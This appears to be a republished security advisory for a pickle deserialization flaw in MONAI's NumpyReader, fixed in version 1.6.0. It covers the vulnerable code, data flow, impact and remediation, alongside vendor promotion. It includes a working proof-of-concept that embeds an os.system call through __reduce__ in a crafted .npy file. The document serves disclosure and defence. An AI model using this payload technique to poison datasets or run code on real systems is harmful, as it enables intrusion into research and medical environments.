Summary
MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files
The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").
Details
Vulnerable code (permalink):
# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)
The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.
The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.
Compare with safe practices in the same project:
The MONAI project has already addressed similar deserialization issues in other code paths:
torch.loadcalls now useweights_only=True(after GHSA-6vm5-6jv9-rjpj)PersistentDatasetdefaults toweights_only=True(line 272-275 of dataset.py)
However, NumpyReader was not included in these security improvements.
Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):
# monai/data/dataset.py, line 1433, safe usage
dat = np.load(npzfile) # allow_pickle defaults to False
This inconsistency shows that NumpyReader was overlooked during security hardening.
The user cannot override this behavior:
# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.
The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.
Data flow:
- User creates a data pipeline with
LoadImagetransform or uses any MONAI dataset class - A
.npyor.npzfile is provided as input (e.g., as part of a shared medical dataset) LoadImageselectsNumpyReaderbased on file extensionNumpyReader.read()callsnp.load(name, allow_pickle=True)- Malicious pickle payload in the
.npyfile executes arbitrary code
PoC
#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)
# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)
# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
os.remove(proof)
os.remove(malicious_npy)
os.rmdir(tmpdir)
Output:
[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed
Impact
An attacker can achieve arbitrary code execution on any machine running MONAI by:
Dataset poisoning: Placing a malicious
.npyfile in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.Supply chain attack: Contributing a malicious
.npyfile to a MONAI tutorial, example, or bundle that other users download and run.Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.
This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).
Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.
GHSA-WG9G-W2J2-8PGR has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-WG9G-W2J2-8PGR? GHSA-WG9G-W2J2-8PGR is a high-severity insecure deserialization vulnerability in monai (pip), affecting versions < 1.6.0. It is fixed in 1.6.0. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
- How severe is GHSA-WG9G-W2J2-8PGR? GHSA-WG9G-W2J2-8PGR has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of monai are affected by GHSA-WG9G-W2J2-8PGR? monai (pip) versions < 1.6.0 is affected.
- Is there a fix for GHSA-WG9G-W2J2-8PGR? Yes. GHSA-WG9G-W2J2-8PGR is fixed in 1.6.0. Upgrade to this version or later.
- Is GHSA-WG9G-W2J2-8PGR exploitable, and should I be worried? Whether GHSA-WG9G-W2J2-8PGR is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-WG9G-W2J2-8PGR is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-WG9G-W2J2-8PGR? Upgrade
monaito 1.6.0 or later.